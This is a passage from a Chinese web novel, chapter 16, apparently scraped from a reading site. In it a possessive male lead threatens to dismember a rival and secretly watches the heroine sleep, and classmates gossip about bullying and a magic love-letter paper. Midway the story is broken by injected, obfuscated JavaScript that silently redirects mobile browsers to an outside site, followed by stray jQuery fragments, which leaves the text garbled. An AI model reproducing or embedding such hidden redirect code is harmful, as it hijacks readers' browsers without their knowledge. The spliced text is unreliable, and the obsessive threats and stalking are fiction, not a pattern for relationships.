16. 第十六章
    栀栀愣住了。

    似乎是没想到会听到这种话,她一时连生气都忘了,整个人都惊呆了,又惊又羞:“凌漾……你、你在说什么呢?什么味道……我听不明白……”

    她真是被吓到了,惊得试图逃避他的视线,可是他却直直地盯着她,目光仿佛利刃,能清晰划过她的每一寸肌肤。

    “不要回避我的问题。”凌漾掐住她的下巴,那双一向笑盈盈的桃花眼正冷冷地凝视着她,“告诉我,你什么时候见过江礼?他进过你房间吗?还是碰过你哪里?为什么你身上会有他的气味?”

    说到最后,语气隐隐开始癫狂。

    这么点气味都闻出来了,不枉她之前装晕在江礼怀里蹭了那么久哈!

    白栀心里很欢乐。

    但心里再欢乐,戏还是要接着往下演的。

    听见他的话,栀栀胸口起伏了几下,然后开始挣扎:“什么气味……我才没闻到……突然说这些干什么?你是故意来羞辱我的吗?我有没有和他怎么样跟你又有什么关系?你管得着吗?坏蛋,放开我!”

    她本来就在生病,力气又小,他只要稍微用点力,她就像被狮子摁住的小白兔一样动弹不得。

    可是她却没有停止反抗。

    明明知道他们之间的力量差距仿佛相隔天堑,为什么她还总是要进行这种无谓的挣扎呢?

    就这么想挣脱他的桎梏吗?

    他觉得她这种不自量力的行为很愚蠢。

    也很让人烦躁。

    在发现她身上有别人留下的气味时,焦躁、恶心、杀意……种种负面情绪仿佛电流一样传遍了全身。

    这当然不是源于喜欢。

    事实上,他并不喜欢她。

    他只是无法忍受她身上有别人的味道。

    就算他不喜欢她,不要她,她也是属于他的。

    旁人怎么有资格染指她?他们又怎么敢染指她?

    “我当然管得着。”他盯着她,一字一句地说,“他哪根手指碰过你,我就从哪里开始把他切成碎片。不止是他,所有妄图肖想你的人,下场都只有一个,就是死。”

    这番狂气的发言让栀栀惊呆了。

    大概是认清了眼前人的本质,终于意识到神经病是不可沟通的,她气得直接给了他一巴掌:“我和江礼能发生什么?你少在这里发疯,滚蛋!”

    凌漾扳过她的脸,目光从她眼睛、鼻子、嘴唇……一寸寸划过,似乎终于确认了她没有在说谎,才缓缓松开钳制住她的手。

    他的神色重新变得平静而冷淡。

    那天以后,凌漾没有再上门找茬。

    他一改此前的失踪常态,重新回到学校开始上课,整个人都变得无比正常。

    但栀栀总觉得暗地里有人在看着她。

    特别是在她和其他人说话的时候。

    甚至就连睡觉的时候,这种被人注视的感觉也始终如影随形。

    她好几次从梦中惊醒,但是身边空荡荡的,什么都没有。

    ……似乎是错觉。

    【这不是错觉。】系统表示,【你每晚睡着后,凌漾都会闪现到你卧室,什么都不做,就只是看你一会儿,好像是在欣赏你的睡姿,看完就消失。】

    白栀:“……”

    白栀:……不是哥,这真的有点变态了。

    这段时间,赵绍晖“自杀”去世的消息传遍了整个海市。

    赵家根基本来就比较浅薄,曾经呼风唤雨不可一世的凌氏集团掌舵人,在身死后却仿佛树倒猢狲散,不落井下石都算好的了,葬礼上更是没来几个人。

    白栀去的时候,只看到了他的儿子赵延。

    赵延面色憔悴,眼睛里布满血丝,似乎已经好几天没合过眼了。

    她来参加正是他给她发的邀请。

    看到赵延,白栀突然想到了之前凌漾的葬礼。

    相似的场景、相似的人。

    不同的是,这次躺在棺材里的人变成了赵绍晖。

    “他们都说我父亲是自杀。”赵延说,“但是我不相信。”

    “一个人怎么可能用自杀的方式,把自己活生生切成好多块呢?”

    栀栀不知道该说什么,只能干巴巴地说了一句“节哀”。

    赵延没有理会她这句节哀,神情中隐隐带着几分偏执:“我一定会抓到凶手,无论他是谁,我都会把他送去地狱谢罪。”

    栀栀没有再说话。

    不知道是不是错觉,临走前,她好像听见耳边响起了一声极轻的冷笑。

    *

    日子一天天热了起来,就连吹过的风都带着几缕热意。

    教室外的蝉鸣声越发响亮,一年中最热烈的季节马上就要来了。

    临近毕业,能复习的都复习的差不多了,该临时抱佛脚的也抱得差不多了,成绩好的不忧心考试,成绩差的也找好了出路,老师也不再讲课,上课基本就是自习。

    大家都有些浮躁了起来,不仅仅是因为马上就要毕业了,还是因为最近海市好像不太太平,流血事件频发,半夜总是能听见警笛的声音,头顶上空时不时有直升机飞过,吵得人很难专心沉静下来。

    “不会真的是要世界末日了吧?”

    “有点期待呢,不知道是生化危机还是异形再临?”

    “世界末日如果在考试前来,我会非常欢迎,但如果它在考试后再来……那就没有必要了。”

    “别想了,没有世界末日这种好事!还是滚去再刷几道题吧!”

    教室里一片哭鬼狼嚎。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162893|149991||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>人之将死其言也善,临机毕业也该恩怨全消,但就在这种最后关头,白栀竟然还阻止了一起针对林雨薇的霸凌事件。

    说起这件事她都有些无语了:“我真是不明白,之前不都好好的吗?林雨薇也顺利融进我们班了啊,这都什么时候了,怎么还有人去欺负她啊?”

    叶晴笑了笑:“这个我知道,好像是和你有关。”

    栀栀微微一怔:“和我有关?”

    “也没太久吧……貌似是从前段时间开始的?你没觉得林雨薇的穿衣打扮和你越来越像了吗?”

    栀栀:“……大家不都穿校服吗?还有什么穿衣打扮?”

    “是发型和饰品啦。”叶晴说,“她去剪了个和你一模一样的发型,耳钉也是和你一样的珍珠耳钉……好像手链和项链也和你买了同款。有些同学觉得她太学人精了,大概是因为这样引起不满的吧。”

    栀栀觉得这有点不讲道理:“发型就那么几种,谁都可以剪。首饰又不是限量款,我也没买断,别人当然买。况且,就算她真的是‘学’我买了这些,也不能因为这个就去霸凌别人吧?怎么想霸凌都是不对的。”

    “我也是这样想的,确实有点不讲道理。”

    叶晴点头认同,但她脸上又浮现了一抹困惑。

    “不过,她最近好像的确是和你越来越像了……我今天来学校的时候撞见她了,但是第一眼我竟然把她认成了你,还打了个招呼……唔,可能是眼花看错了吧。”

    叶晴没太纠结这件事,她转而提起了另一个话题,神神秘秘地从抽屉里拿出了一个东西给她。

    白栀接过它,那是一张信纸,款式非常简约可爱,白底粉格纹,右上角还有一个红色的爱心。

    信纸不知道使用什么做的,凑近闻一闻,还能嗅到淡淡的香气。

    “这是什么?”

    “爱情信纸。”叶晴说,“你不知道吗?这个东西最近在学校里非常流行,据说只要把自己和喜欢的人的名字写在上面,然后当作情书交给对方,就能百分百收获爱情哦……不知道这个说法是从哪里流传出来的,可能是临近毕业,被很多胆小鬼当救命稻草了吧,最近都传疯了。”

    “商家的噱头吧……”栀栀左右看了看,“不管怎么看这就是一张很普通的纸啊……?你不会把名字写上去了吧?”

    “还没有呢。”叶晴嗔怪道,“我就拿到了一张,这么珍贵,当然是要先和你分享啦。”

    “谢谢啊,不过你居然会信这种东西……老了记得联系我,我卖保健品给你。”

    “栀栀!”

    叶晴发出抗议的声音,两人笑闹成一团。

    混乱中,栀栀瞟了一眼信纸,不知道是不是错觉,右上角的那个红色的爱心……好像跳了一下?